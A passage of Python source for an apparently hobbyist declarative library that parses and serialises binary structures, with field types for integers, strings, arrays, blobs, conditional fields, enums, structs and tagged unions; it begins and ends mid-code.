CField.load, but for byte strings\n instead of files. The byte string equivalent to CField.save is the bytes\n property.\n \n The bytes property may have a setter. In this case, the setter method\n property should only accept properly formatted input with no extra bytes\n while parsebytes may accept said input with extra bytes, so long as it\n returns any bytes it does not need.\"\"\"\n self.bytes = obytes[0:self.bytelength]\n return obytes[self.bytelength:-1]\n\n #When this is declared True, Struct and Union will attempt to hide the field\n #entirely from user code by returning the core property in getattribute.\n #If it's False, then the field will not be hidden, so that users may access\n #it's subfields.\n \n #We have PRIMITIVE because in most cases we don't want users moving CFields\n #around directly. CFields exist mainly as wrappers around native Python data\n #objects and users should be working with those. Declaring PRIMITIVE = False\n #indicates that your object has subfields useful to it's users.\n PRIMITIVE = True\n\ndef Magic(magicbytes):\n class MagicInstance(CField):\n def load(self, fileobj):\n fbytes = fileobj.read(len(magicbytes))\n self.bytes = fbytes\n \n @property\n def bytes(self):\n return magicbytes\n \n @bytes.setter\n def bytes(self, obytes):\n if obytes == magicbytes:\n return\n else:\n raise CorruptedData\n \n def parsebytes(self, obytes):\n omagic = obytes[0:len(magicbytes)]\n self.bytes = omagic\n return obytes[len(magicbytes):-1]\n \n @property\n def core(self):\n return magicbytes\n \n @core.setter\n def core(self, val):\n if val != magicbytes:\n raise CorruptedData\n\n return MagicInstance\n\ndef String(encoding = \"utf-8\", terminator = \"\\u0000\"):\n class StringInstance(CField):\n def __init__(self, *args, **kwargs):\n self.__corestr = \"\"\n super(StringInstance, self).__init__(*args, **kwargs)\n \n def load(self, fileobj):\n corestr = []\n while True:\n ltr = fileobj.read(1)\n corestr.append(ltr)\n if (ltr == b\"\\x00\"):\n break\n self.bytes = b\"\".join(corestr)\n \n @property\n def core(self):\n return self.__corestr\n\n @core.setter\n def core(self, val):\n self.__corestr = val\n \n @property\n def bytes(self):\n return self.__corestr.encode(encoding) + b\"\\x00\"\n \n @bytes.setter\n def bytes(self, inbytes):\n if inbytes[-1] != 0:\n raise CorruptedData\n self.__corestr = inbytes[0:-1].decode(encoding)\n \n @property\n def bytelength(self):\n raise PEBKAC #Strings are always variable length null-terminated,\n #and thus cannot have a bytelength\n \n def parsebytes(self, obytes):\n corestr = []\n overindex = 0\n \n for i in range(0, len(obytes)):\n ltr = obytes[i]\n corestr += ltr\n if (ltr == b\"\\x00\"):\n overindex = i + 1\n break\n \n self.bytes = \"\".join(corestr)\n return obytes[overindex:-1]\n \n def __str__(self):\n return self.core\n return StringInstance\n\ndef UnterminatedString(sizeParam, encoding = \"utf-8\", allow_decoding_failure = False):\n \"\"\"Create an instance of a known-length, non-terminated string field.\n \n allow_decoding_failure: If decoding a bytestring fails, type will act as a Blob.\"\"\"\n #Assumes countType = ByteCount for now, add support for EntriesCount later\n class UnterminatedStringInstance(CField):\n def __init__(self, *args, **kwargs):\n self.__corestr = \"\"\n super(UnterminatedStringInstance, self).__init__(*args, **kwargs)\n \n def load(self, fileobj):\n count = sizeParam\n if type(sizeParam) is not int:\n count = self.get_dynamic_argument(sizeParam)\n \n self.bytes = fileobj.read(count)\n \n @property\n def core(self):\n return self.__corestr\n\n @core.setter\n def core(self, val):\n if type(val) is bytes:\n self.bytes = val\n else:\n self.bytes = val.encode(encoding)\n \n @property\n def bytes(self):\n if type(self.__corestr) is not bytes:\n return self.__corestr.encode(encoding)\n else:\n return self.__corestr\n \n @bytes.setter\n def bytes(self, inbytes):\n try:\n if self.bytelength != len(inbytes):\n self.set_dynamic_argument(sizeParam, len(inbytes))\n self.__corestr = inbytes.decode(encoding)\n else:\n self.__corestr = inbytes.decode(encoding)\n except UnicodeDecodeError:\n if allow_decoding_failure:\n if self.bytelength != len(inbytes):\n self.set_dynamic_argument(sizeParam, len(inbytes))\n self.__corestr = inbytes\n else:\n self.__corestr = inbytes\n else:\n raise\n \n @property\n def bytelength(self):\n count = sizeParam\n if type(sizeParam) is not int:\n count = self.get_dynamic_argument(sizeParam)\n \n return count\n \n def parsebytes(self, obytes):\n count = sizeParam\n if type(sizeParam) is not int:\n count = self.get_dynamic_argument(sizeParam)\n \n self.bytes = obytes[:count]\n return obytes[count:-1]\n \n def __str__(self):\n return self.core\n \n return UnterminatedStringInstance\n\nLittleEndian = 0 # 0x12345678 = b'\\x78\\x56\\x34\\x12'\nBigEndian = 1 # 0x12345678 = b'\\x12\\x34\\x56\\x78'\nNetworkEndian = BigEndian\n\nUnsigned = 0 # Binary integers interpreted directly\nSignedTwos = Signed = 1 # High bit on means absolute value is complement of lower bits, plus one\nSignedOnes = 2 # High bit on means absolute value is complement of lower bits\nSignedMagnitude = 3 # High bit on means absolute value is all lower bits\n\ndef Int(size, endianness = BigEndian, signedness = Unsigned):\n \"\"\"Integer parsing class factory.\n\n It's result can also be subclassed. If you are writing a variable-int subclass,\n set size - 1 and override ALL parsing functions.\"\"\"\n bytecount = math.floor(size / 8)\n if size % 8 is not 0 and size is not -1:\n raise InvalidSchema #we only support byte-aligned ints for now\n \n decomp = pow(2,size)\n bitmask = pow(2,size) - 1\n highbit = pow(2,size - 1)\n\n if (size == -1): #support for var-int subclasses\n bitmask = -1\n\n class IntInstance(CField):\n \"\"\"Class which parses ints of arbitrary size, endianness, and sign format.\"\"\"\n def __init__(self, *args, **kwargs):\n self.__coreint = 0\n self.__lengthlock = None\n self.__lengthparam = None\n super(IntInstance, self).__init__(*args, **kwargs)\n \n def load(self, fileobj):\n bytes = fileobj.read(bytecount)\n self.bytes = bytes\n\n def __int__(self):\n return self.__coreint\n \n def tie_to_length(self, length, param = None):\n \"\"\"Establish a relationship between this integer and the length of some parameter.\n \n When this relationship is established, the int will be locked to the\n length of this parameter. All attempts to change it will fail.\n \n This is important for the implementation of the Array field, which\n requires that it's size argument equal it's actual size for correct\n structure encoding.\n \n The lock will break if the field is made to parse new data; this\n indicates that a new structure is going to be parsed and thus the\n tied field must be updated with the new data.\"\"\"\n self.__lengthlock = length\n self.__lengthparam = param\n \n @property\n def core(self):\n if self.__lengthlock is not None:\n if self.__lengthparam is not None:\n return len(self.__lengthlock.__getattribute__(self.__lengthparam))\n return len(self.__lengthlock)\n return self.__coreint\n \n @core.setter\n def core(self, val):\n #If we have a length-lock, all attempts to write to the field with\n #invalid data will fail.\n if self.__lengthlock is not None and self.__lengthparam is not None \\\n and val != len(self.__lengthlock.__getattribute__(self.__lengthparam)):\n raise CorruptedData\n if self.__lengthlock is not None and val != len(self.__lengthlock):\n raise CorruptedData\n self.__coreint = val & bitmask\n \n @property\n def bytes(self):\n data = b''\n \n formattedint = self.__coreint\n if self.__lengthlock is not None:\n if self.__lengthparam is not None:\n formattedint = len(self.__lengthlock.__getattribute__(self.__lengthparam))\n else:\n formattedint = len(self.__lengthlock)\n \n if self.__coreint < 0:\n if signedness is Unsigned:\n #You can't write negative integers to an unsigned field.\n raise CorruptedData\n elif signedness is SignedTwos:\n formattedint = ~abs(formattedint) + 1\n elif signedness is SignedOnes:\n formattedint = ~abs(formattedint)\n elif signedness is SignedMagnitude:\n formattedint = formattedint + highbit\n \n if endianness == LittleEndian:\n for i in range(0, bytecount):\n data += bytes(chr(formattedint >> i * 8 & 0xFF), \"raw_unicode_escape\")\n else:\n for i in range(bytecount, 0, -1):\n data += bytes(chr(formattedint >> (i - 1) * 8 & 0xFF), \"raw_unicode_escape\")\n\n return data\n \n @bytes.setter\n def bytes(self, obytes):\n self.bytesetter(obytes)\n \n def bytesetter(self, obytes):\n \"\"\"MASSIVE HACK used so that Enum can set IntInstance.bytes from within Enum.bytes.setter.\"\"\"\n \n self.__lengthlock = None\n self.__lengthparam = None\n \n result = 0\n if endianness is LittleEndian:\n stride = 1\n begin = 0\n end = bytecount\n if endianness is BigEndian:\n stride = -1\n begin = bytecount - 1\n end = -1\n\n for i in range (begin, end, stride):\n result = result + (obytes[i] << i*8)\n\n if result & highbit != 0:\n if signedness is Unsigned:\n pass\n elif signedness is SignedTwos:\n #since ints are infinitely big 2s compliment, just shifting the bytes in will not\n #give us a negative number since we started with a positive number, and thus py3k will\n #sign extend that erronous highbit foreer. so instead we bitwise decode it to unsigned\n #and arithmetically negate it to change the high bit\n result = result - decomp\n elif signedness is SignedOnes:\n result = result - bitmask\n elif signedness is SignedMagnitude:\n result = -(result - highbit)\n \n self.__coreint = result\n \n return obytes[bytecount:]\n \n def parsebytes(self, obytes):\n self.bytes = obytes[0:bytecount]\n return obytes[bytecount:-1]\n \n @property\n def bytelength(self):\n return bytecount\n\n return IntInstance\n\nLeU8 = BeU8 = U8 = Int(8)\nLeU16 = Int(16, LittleEndian)\nBeU16 = Int(16, BigEndian)\nLeU24 = Int(24, LittleEndian)\nBeU24 = Int(24, BigEndian)\nLeU32 = Int(32, LittleEndian)\nBeU32 = Int(32, BigEndian)\nLeS8 = BeS8 = Int(8, signedness = Signed)\nLeS16 = Int(16, LittleEndian, Signed)\nBeS16 = Int(16, BigEndian, Signed)\nLeS24 = Int(24, LittleEndian, Signed)\nBeS24 = Int(24, BigEndian, Signed)\nLeS32 = Int(32, LittleEndian, Signed)\nBeS32 = Int(32, BigEndian, Signed)\n\nEntriesCount = 0 # Array size is in number of instances of the contained type\nBytesCount = 1 # Array size is in number of encoded bytes in the underlying datablob\nParseToEOF = 2 # Array is continuously parsed until some bytes before EOF.\n\ndef Array(containedType, sizeParam, countType = EntriesCount, *args, **kwargs):\n \"\"\"Array class factory.\n\n CModel arrays can have multiple count types:\n\n EntriesCount - Parse a specific number of entries from sizeParam\n BytesCount - Parse a specific number of bytes from sizeParam\n ParseToEOF - Parse until sizeParam bytes left in the file\n\n sizeParam can be an integer (for fixed-size arrays) or the name of another\n previously-parsed integer parameter in the cmodel.Struct.\"\"\"\n class ArrayInstance(CField, list):\n def __init__(self, *args, **kwargs):\n super(ArrayInstance, self).__init__(*args, **kwargs)\n self.__uniqid = 0\n \n if countType is BytesCount:\n if type(sizeParam) is str:\n self.find_argument_field(sizeParam).tie_to_length(self, \"bytes\")\n elif countType is EntriesCount:\n if type(sizeParam) is str:\n self.find_argument_field(sizeParam).tie_to_length(self)\n \n def load(self, fileobj):\n scount = sizeParam\n if type(sizeParam) is not int:\n scount = self.get_dynamic_argument(sizeParam)\n \n if countType is BytesCount:\n endLoc = scount + fileobj.tell()\n \n while fileobj.tell() < endLoc:\n item = containedType()\n self.append(item)\n \n oldLoc = fileobj.tell()\n item.load(fileobj)\n \n if oldLoc == fileobj.tell():\n #Child types are REQUIRED to consume at least one byte\n #in byte-counted array mode.\n raise InvalidSchema\n \n if type(sizeParam) is str:\n self.find_argument_field(sizeParam).tie_to_length(self, \"bytes\")\n elif countType is EntriesCount:\n for i in range(0, scount):\n item = containedType()\n self.append(item)\n \n item.load(fileobj)\n if type(sizeParam) is str:\n self.find_argument_field(sizeParam).tie_to_length(self)\n elif countType is ParseToEOF:\n #determine end position\n curpos = fileobj.tell()\n fileobj.seek(scount, whence=SEEK_END)\n endpos = fileobj.tell()\n fileobj.seek(curpos, whence=SEEK_SET)\n lastpos = fileobj.tell()\n\n while curpos < endpos:\n lastpos = curpos\n item = containedType()\n self.append(item)\n \n item.load(fileobj)\n curpos = fileobj.tell()\n if lastpos == curpos:\n raise InvalidSchema #we MUST consume SOME bytes in this mode\n \n if curpos > endpos:\n raise CorruptedData #we overwrote some other data\n\n def save(self, fileobj):\n for thing in self:\n thing.save(fileobj)\n \n #The following three items exist specifically to ensure field objects\n #don't escape their parent structures, just the data.\n def __getitem__(self, key):\n #Uncoerce field into core data. Does not support slicing yet.\n if super(ArrayInstance, self).__getitem__(key).PRIMITIVE != False:\n return super(ArrayInstance, self).__getitem__(key).core\n else:\n #If this is an array of structs, do not core them.\n return super(ArrayInstance, self).__getitem__(key)\n\n def __setitem__(self, key, value):\n super(ArrayInstance, self).__getitem__(key).core = value\n \n def __delitem__(self, key):\n super(ArrayInstance, self).__delitem__(key)\n \n def append(self, item):\n if type(item) != containedType:\n #Arrays, unlike Python lists, can only contain one type\n #We'll try to coerce the input into a real type by wrapping it\n nitem = containedType()\n nitem.core = item\n item = nitem\n \n itemname = str(self.__uniqid)\n self.__uniqid += 1\n super(ArrayInstance, self).append(item)\n \n item.reparent(itemname, container = self)\n \n def extend(self, otherlist):\n for item in otherlist:\n self.append(item)\n \n def __add__(self, item):\n self.extend(item)\n return self\n \n def __radd__(self, item):\n self.extend(item)\n return self\n \n def __iadd__(self, item):\n self.extend(item)\n return self\n \n @property\n def bytes(self):\n childbytes = []\n for thing in self:\n childbytes.append(thing.bytes)\n return b\"\".join(childbytes)\n \n @property\n def bytelength(self):\n return len(self.bytes)\n \n def parsebytes(self, obytes):\n scount = sizeParam\n if type(sizeParam) is not int:\n scount = self.get_dynamic_argument(sizeParam)\n \n if countType is EntriesCount:\n items = scount\n for i in range(0,items):\n if (len(obytes) == 0):\n #We ran out of data before parsing was complete.\n raise CorruptedData\n \n childItem = containedType()\n self.append(childItem)\n obytes = childItem.parsebytes(obytes)\n \n if type(sizeParam) is str:\n self.find_argument_field(sizeParam).tie_to_length(self)\n return obytes\n elif countType is BytesCount:\n bytecount = scount\n mybytes = obytes[:bytecount]\n while len(mybytes) > 0:\n #Just keep parsing until we run out of bytes.\n childItem = containedType()\n self.append(childItem)\n \n oldcount = len(mybytes)\n mybytes = childItem.parsebytes(mybytes)\n \n if oldcount == len(mybytes):\n #All Array subtypes must consume at least ONE byte.\n #If the contained type is empty, then parsing it again\n #won't do anything and we will infinitely-loop until\n #we run out of memory.\n raise InvalidSchema\n \n if type(sizeParam) is str:\n self.find_argument_field(sizeParam).tie_to_length(self, \"bytes\")\n return obytes[bytecount:]\n elif countType is ParseToEOF:\n mybytes = b\"\"\n if scount is 0:\n mybytes = obytes\n else:\n mybytes = obytes[:-(scount)]\n\n while len(mybytes) > 0:\n childItem = containedType()\n self.append(childItem)\n \n oldcount = len(mybytes)\n mybytes = childItem.parsebytes(mybytes)\n \n if oldcount == len(mybytes):\n raise InvalidSchema\n return obytes[-(scount):]\n \n @property\n def core(self):\n \"\"\"Core property for ArrayInstance.\n\n Implemented by repacking the whole ArrayInstance into a normal list.\"\"\"\n normallist = []\n for item in self:\n normallist.append(item.core)\n \n return normallist\n\n @core.setter\n def core(self, normallist):\n del self[:]\n \n for item in normallist:\n self.append(item)\n \n #Since this CField is a subtype of list, it doubles as a native Python\n #object and thus should be exposed to the user\n PRIMITIVE = False\n \n return ArrayInstance\n\ndef Blob(sizeParam):\n class BlobInstance(CField):\n def __init__(self, *args, **kwargs):\n self.__obytes = b\"\"\n if type(sizeParam) is int:\n self.__obytes = bytes(sizeParam)\n \n super(BlobInstance, self).__init__(*args, **kwargs)\n \n def load(self, fileobj):\n count = sizeParam\n if type(sizeParam) is not int:\n count = self.get_dynamic_argument(sizeParam)\n \n self.bytes = fileobj.read(count)\n \n @property\n def bytes(self):\n return self.__obytes\n \n @bytes.setter\n def bytes(self, obytes):\n if len(obytes) != len(self.__obytes):\n #WARNING: Assumes non-fixed-length field.\n #If fixed-length, do not send irregularly sized data\n self.set_dynamic_argument(sizeParam, len(obytes))\n self.__obytes = obytes\n else:\n self.__obytes = obytes\n \n def parsebytes(self, obytes):\n count = sizeParam\n if type(sizeParam) is not int:\n count = self.get_dynamic_argument(sizeParam)\n \n self.bytes = obytes[0:count]\n return obytes[count:-1]\n \n @property\n def core(self):\n return self.bytes\n \n @core.setter\n def core(self, nbytes):\n if type(sizeParam) is not int:\n self.set_dynamic_argument(sizeParam, len(nbytes))\n self.bytes = nbytes\n else:\n if count > len(nbytes):\n self.bytes = nbytes[:count] + bytes(count - len(nbytes))\n else:\n self.bytes = nbytes[:count]\n \n @property\n def bytelength(self):\n if type(sizeParam) is not int:\n return self.get_dynamic_argument(sizeParam)\n else:\n return sizeParam\n \n return BlobInstance\n\ndef If(variableName, condition, basetype = None, *args, **kwargs):\n \"\"\"Creates IF-Fields, which only exist if a condition is satisfied in external data.\n \n Can be called in one of two ways:\n \n If(\"name-of-variable\", lambda var: var > 256, OtherType)\n \n where there is a single variablename which is looked up and passed to the\n callable to determine if OtherType should be parsed, or in this way:\n \n If(lambda pStruct: pStruct.group > 0, OtherType)\n \n where the variablename is omitted and \"\"\"\n \n ctxtprov = lambda s, vn: s.get_dynamic_argument(vn)\n \n if basetype == None:\n basetype = condition\n condition = variableName\n variableName = None\n \n ctxtprov = lambda s, vn: s._CField__container\n \n base = None\n if (len(args) == 0 and len(kwargs) == 0):\n base = basetype\n else:\n base = basetype(*args, **kwargs)\n \n class IfInstance(base):\n \"\"\"Conditional load class that turns into an empty value if an external condition is unfulfilled.\"\"\"\n def load(self, fileobj):\n if condition(ctxtprov(self, variableName)):\n super(IfInstance, self).load(fileobj)\n \n def save(self, fileobj):\n if condition(ctxtprov(self, variableName)):\n super(IfInstance, self).save(fileobj)\n \n @property\n def core(self):\n if condition(ctxtprov(self, variableName)):\n return super(IfInstance, self).core\n else:\n return None\n\n @core.setter\n def core(self, val):\n if condition(ctxtprov(self, variableName)):\n super(IfInstance, self).core = val\n\n @property\n def bytes(self):\n if condition(ctxtprov(self, variableName)):\n return super(IfInstance, self).bytes\n else:\n return b\"\"\n\n @bytes.setter\n def bytes(self, val):\n if condition(ctxtprov(self, variableName)):\n super(IfInstance, self).bytesetter(val)\n \n def parsebytes(self, obytes):\n if condition(ctxtprov(self, variableName)):\n return super(IfInstance, self).parsebytes(obytes)\n \n return IfInstance\n\nclass EmptyField(CField):\n \"\"\"Base field class for all fields that do not actually parse bytes from the structure.\"\"\"\n def load(self, fileobj):\n pass\n\n @property\n def bytes(self):\n return b\"\"\n\n @bytes.setter\n def bytes(self, obytes):\n if len(obytes) > 0:\n raise CorruptedData\n \n def parsebytes(self, obytes):\n return obytes\n \n @property\n def core(self):\n return None\n\ndef BitRange(targetParam, fromBits, toBits):\n \"\"\"Define a range of bits shadowed from another field.\n\n The BitRange itself takes up no space, it just reparses existing, already parsed data.\"\"\"\n lomask = pow(2, fromBits) - 1\n bitmask = pow(2, toBits) - 1 - lomask\n clearmask = -1 - bitmask\n if toBits is -1:\n bitmask = -1 - lomask\n clearmask = lomask\n \n #TODO: Make bitrange lock it's targetParam integer\n class BitRangeInstance(EmptyField):\n @property\n def core(self):\n basebits = self.get_dynamic_argument(targetParam)\n ourbits = (basebits & bitmask) >> fromBits\n return ourbits\n \n @core.setter\n def core(self, newbits):\n basebits = self.get_dynamic_argument(targetParam)\n ourbits = ((newbits << toBits) & bitmask) | (basebits & clearmask)\n self.set_dynamic_argument(targetParam, ourbits)\n\n return BitRangeInstance\n\ndef Bias(targetParam, biasFactor):\n \"\"\"Define a field based on another field that returns the first field's value, incremented by a bias value.\"\"\"\n class BiasInstance(EmptyField):\n @property\n def core(self):\n basebits = self.get_dynamic_argument(targetParam)\n ourbits = basebits + biasFactor\n return ourbits\n \n @core.setter\n def core(self, newbits):\n ourbits = newbits - biasFactor\n self.set_dynamic_argument(targetParam, ourbits)\n\ndef Enum(storageType, *valueslist, **kwargs):\n \"\"\"Class factory for the Enum field type.\n \n Notably, this function is responsible for allocating enum values.\n \n You can control enum allocation by specifying iotaUpdate, which is called\n after each unspecified enum value to select a new one. By default this\n increments the enum value so that enum values are allocated in-order.\"\"\"\n iota = 0\n valuesDict = {}\n iotaUpdate = None\n \n try:\n iotaUpdate = kwargs[\"iotaUpdate\"]\n except:\n #By default, increment\n iotaUpdate = lambda x: x+1\n \n for value in valueslist:\n if type(value) is str:\n #insert unspecified enum values\n valuesDict[value] = iota\n iota = iotaUpdate(iota)\n else:\n #insert pre-specified enum values\n valuesDict[value[0]] = value[1]\n iota = iotaUpdate(value[1])\n \n class EnumInstance(storageType):\n \"\"\"Enum class that wraps a storageType.\n \n Requires the wrapped type's values conform to the known set of enum values.\n \n This set of enum values was allocated when the field type was created.\"\"\"\n @property\n def core(self):\n return super(EnumInstance, self).core\n \n @core.setter\n def core(self, val):\n \"\"\"Enum core.fset that restricts input values\"\"\"\n if val not in valuesDict.values():\n raise CorruptedData\n \n storageType.core.fset(self, val)\n \n @property\n def bytes(self):\n return super(EnumInstance, self).bytes\n \n @bytes.setter\n def bytes(self, val):\n \"\"\"Enum bytes.fset that validates parsed data\"\"\"\n oldCore = self.core\n self.bytesetter(val)\n \n if self.core not in valuesDict.values():\n raise CorruptedData\n \n #This exports values into the parent structure, for convenience\n EXPORTEDVALUES = valuesDict\n \n return EnumInstance\n\nclass _CFieldDecl(type):\n \"\"\"[Super, meta] X class for all declarative types.\"\"\"\n def __new__(mcls, name, bases, cdict):\n #All declarative types have subfields\n cdict[\"PRIMITIVE\"] = False\n return super(_CFieldDecl, mcls).__new__(mcls, name, bases, cdict)\n\nclass _Struct(_CFieldDecl):\n \"\"\"Metaclass for all Struct types.\n \n It is responsible for taking the static variables in the structure and\n moving them outside of the class namespace, and taking the exported variables\n from certain fields and placing them in the class namespace (i.e. for enums)\"\"\"\n DEFAULT_BASE_MADE = False\n def __new__(mcls, name, bases, cdict):\n \"\"\"Metaclass that copies order and the named fields into two class-mangled variables.\"\"\"\n if name == \"Struct\" and not mcls.DEFAULT_BASE_MADE:\n #Do nothing if the Struct class hasn't been constructed yet\n mcls.DEFAULT_BASE_MADE = True\n return super(_Struct, mcls).__new__(mcls, name, bases, cdict)\n order = []\n try:\n order = cdict[\"__order__\"]\n del cdict[\"__order__\"]\n\n cfields = {}\n for fieldname in order:\n cfields[fieldname] = cdict[fieldname]\n del cdict[fieldname]\n \n try:\n exVals = cfields[fieldname].EXPORTEDVALUES\n cdict.update(exVals)\n except:\n pass\n \n cdict[\"_Struct__order\"] = order\n cdict[\"_Struct__fields\"] = cfields\n cdict[\"_Struct__coretype\"] = collections.namedtuple(\"_Struct_{}__coretype\".format(name), order)\n except:\n #Check if the class is a subclass of a valid Struct, or if something\n #is up and we should bail out so that the user knows to fix his\n #Struct subclass.\n #Also, this technically does not yet support merging orders,\n #so this is really only useful for subclasses of a struct without\n #any fields. Otherwise you will have to merge your __order__ yourself.\n #TODO: Automatically merge __order__ lists in __mro__ order.\n hasvalidbase = False\n for base in bases:\n if \"_Struct__order\" in base.__dict__.keys():\n hasvalidbase = True\n #copy the superclass data into the child class\n cdict[\"_Struct__order\"] = base._Struct__order\n cdict[\"_Struct__fields\"] = base._Struct__fields\n cdict[\"_Struct__coretype\"] = base._Struct__coretype\n \n if not hasvalidbase:\n #Structs must either have __order__ or valid superclasses with __order__\n raise InvalidSchema\n \n return super(_Struct, mcls).__new__(mcls, name, bases, cdict)\n\nclass Struct(CField, metaclass=_Struct):\n def __init__(self, *args, **kwargs):\n self.__storage = {}\n for field in self.__order:\n self.__storage[field] = self.__fields[field](name = field, container = self)\n \n super(Struct, self).__init__(*args, **kwargs)\n \n def __getattribute__(self, name):\n if name == \"_Struct__order\":\n #practically I can't keep users from altering the struct order\n #without making this class twice as verbose\n #I hope the use of the PEP8-mangling will discourage that\n return super(Struct, self).__getattribute__(name)\n elif name in self.__order:\n field = self.__storage[name]\n if field.PRIMITIVE:\n return field.core\n else:\n return field\n else:\n return super(Struct, self).__getattribute__(name)\n\n def __setattr__(self, name, val):\n if name == \"_Struct__order\":\n raise CorruptedData #we really shouldn't alter the struct order so brazenly\n elif name in self.__order:\n #Since it is possible for a user program to get access to a field\n #object, we should copy core-to-core for fields and direct-to-core\n #for other Python objects.\n try:\n if \"PRIMITIVE\" in val.__dict__.keys():\n self.__storage[name].core = val.core\n else:\n self.__storage[name].core = val\n except AttributeError:\n #Not a class, just do the direct storage method\n self.__storage[name].core = val\n else:\n super(Struct, self).__setattr__(name, val)\n \n def _CField__getfield(self, name):\n \"\"\"Internal function that allows CField to access fields irregardless of PRIMITIVE.\n \n While it is possible for anyone to call this, you should be discouraged\n by the use of the __variable mangling indicating that this function is\n intended for CField and CField only.\"\"\"\n return self.__storage[name]\n \n def __delattr__(self, name):\n #Uh yeah, you aren't deleting stuff from structs. That would change the\n #schema, and binary formats are parsed with a fixed schema.\n raise CorruptedData\n\n def save(self, fileobj):\n for field in self.__order:\n self.__storage[field].save(fileobj)\n\n def load(self, fileobj):\n for field in self.__order:\n self.__storage[field].load(fileobj)\n \n @property\n def bytes(self):\n lisbytes = []\n for field in self.__order:\n lisbytes.append(self.__storage[field].bytes)\n \n return b\"\".join(lisbytes)\n \n @bytes.setter\n def bytes(self, val):\n for field in self.__order:\n val = self.__storage[field].parsebytes(val)\n \n if len(val) > 0:\n #raise an exception if the input was too big\n raise CorruptedData\n \n def parsebytes(self, obytes):\n for field in self.__order:\n obytes = self.__storage[field].parsebytes(obytes)\n \n @property\n def core(self):\n items = []\n for field in self.__order:\n items.append(self.__storage[field].core)\n return self.__coretype(*items)\n \n @core.setter\n def core(self, items):\n \"\"\"Setter method for structs that accepts dictionaries or tuples.\"\"\"\n if type(items) is dict:\n for key, value in items.items():\n self.__storage[key].core = value\n else:\n if len(self.__order) != len(items):\n #we need as many items as there are fields\n raise CorruptedData\n \n for item, field in zip(items, self.__order):\n self.__storage[field].core = item\n\nExternalTag = 0\nInternalTag = 1\n\nclass _Union(_CFieldDecl):\n DEFAULT_BASE_MADE = False\n \n def __new__(mcls, name, bases, cdict):\n if name == \"Union\" and not mcls.DEFAULT_BASE_MADE:\n #Do nothing if the Union class hasn't been constructed yet\n mcls.DefaultBaseMade = True\n return super(_Union, mcls).__new__(mcls, name, bases, cdict)\n #The \"Default\" class is the type of field that gets used for the mapping\n #if the field is unspecified.\n defaultField = EmptyField\n try:\n defaultField = cdict[\"__defaultfield__\"]\n del cdict[\"__defaultfield__\"]\n except:\n pass\n \n #\"External tag\" mode is activated when __tagname__ is defined\n #When __tagname__ is defined, the value of the tag will be parsed at\n #runtime from parent structures (i.e. the dynamic arugments mechanism)\n #otherwise we run in \"Internal tag\" mode, where we allocate space for\n #the field ourselves.\n #You still need to declare the field type.\n try:\n tagname = cdict[\"__tagname__\"]\n del cdict[\"__tagname__\"]\n cdict[\"_Union__tagname\"] = tagname\n cdict[\"_Union__mode\"] = ExternalTag\n except:\n cdict[\"_Union__mode\"] = InternalTag\n \n tag = cdict[\"__tag__\"]\n del cdict[\"__tag__\"]\n cdict[\"_Union__tag\"] = tag\n \n #The tag type is required to export values\n #We need it to generate the type mapping. Really.\n values = tag.EXPORTEDVALUES\n reverseValues = {}\n mapping = {}\n for vname, value in values.items():\n if value in mapping.keys() and cdict[vname] is not cdict[reverseValues[value]]:\n #You are not allowed to generate two different field types\n #for the same enum value.\n raise InvalidSchema\n \n try: #Attempt to fill the mapping with the user-specified field\n mapping[value] = cdict[vname]\n del cdict[vname]\n except: #Otherwise use the default\n mapping[value] = defaultField\n \n try: #reverseValues is a dict of lists, because dicts are not\n #guaranteed to be bijective functions\n reverseValues[value].append(vname)\n except KeyError:\n reverseValues[value] = [vname]\n \n #We also need to import any Enum values into ourself\n try:\n exVals = cfields[vname].EXPORTEDVALUES\n cdict.update(exVals)\n except:\n pass\n \n #Import the exported values from any Enums in our Union.\n cdict.update(values)\n \n cdict[\"_Union__mapping\"] = mapping\n cdict[\"_Union__reverseValues\"] = reverseValues\n cdict[\"_Union__coretype\"] = collections.namedtuple(\"_Union_{}__coretype\".format(name), [\"tag\", \"contents\"])\n\n #\"MissingNO mode\"\n #when __reparse_on_retag__ is enabled, and user code attempts to change\n #the tag, instead of erasing the child field, we instead grab it's bytes\n #and make the new tag's field attempt to parse them.\n try:\n cdict[\"_Union__reparse_on_retag\"] = cdict[\"__reparse_on_retag__\"]\n del cdict[\"__reparsable__\"]\n except:\n cdict[\"_Union__reparse_on_retag\"] = False\n\n return super(_Union, mcls).__new__(mcls, name, bases, cdict)\n\nclass Union(CField, metaclass = _Union):\n \"\"\"Implements a tagged union.\n \n A tagged union is a type which delegates to mulitple different types based\n on a tag value, which specifies which type to delegate to.\n\n It can either specify the tag type and storage directly, or refer to an\n external variable for the tag.\"\"\"\n def __init__(self, *args, **kwargs):\n if self.__mode is InternalTag:\n self.__tagstorage = self.__tag(name = \"__tag__\", container = self)\n self.__fieldstorage = None\n self.__currenttag = None\n elif self.__mode is ExternalTag:\n self.__tagstorage = self.find_argument_field(self.__tagname)\n self.__fieldstorage = self.__mapping[self.__tagstorage.core](name = \"__contents__\", container = self)\n self.__currenttag = self.__tagstorage.core\n \n super(Union, self).__init__(*args, **kwargs)\n \n def load(self, fileobj):\n if self.__mode is InternalTag:\n self.__tagstorage.load(fileobj)\n self.__updatestate()\n self.__fieldstorage.load(fileobj)\n \n @property\n def bytes(self):\n self.__updatestate()\n obytes = b\"\"\n if self.__mode is InternalTag:\n obytes += self.__tagstorage.bytes\n return obytes + self.__fieldstorage.bytes\n \n def parsebytes(self, obytes):\n if self.__mode is InternalTag:\n obytes = self.__tagstorage.parsebytes(obytes)\n self.__updatestate()\n return self.__fieldstorage.parsebytes(obytes)\n \n @property\n def core(self):\n self.__updatestate()\n try:\n return self.__coretype(self.__tag__, self.__fieldstorage.core)\n except AttributeError:\n return self.__coretype(self.__tag__, None)\n \n @core.setter\n def core(self, val):\n if len(val) != 2:\n raise PEBKAC #must give two values, the tag and the contents\n \n self.__tag__ = val[0]\n self.__contents__.core = val[1]\n \n def __updatestate(self):\n \"\"\"This function is called to ensure that the tag value and current field match.\n \n It is usually called when the tag or contents are accessed, to keep them synced.\"\"\"\n if self.__tagstorage.core == self.__currenttag:\n return #nothing needs to be done\n \n if self.__currenttag is None:\n #Tag was not parsed at __init__\n #It better have been parsed by now!!\n self.__currenttag = self.__tagstorage.core\n self.__fieldstorage = self.__mapping[self.__tagstorage.core](name = \"__contents__\", container = self)\n \n newval = self.__tagstorage.core\n if self.__mapping[self.__currenttag] is not self.__mapping[newval]:\n if self.__reparse_on_retag:\n #\"MissingNO\" mode (bytewise reparse)\n #You have to declare __reparse_on_retag__ = True in your class\n #since this is a behavior 99% of users DON'T want.\n oldfield = 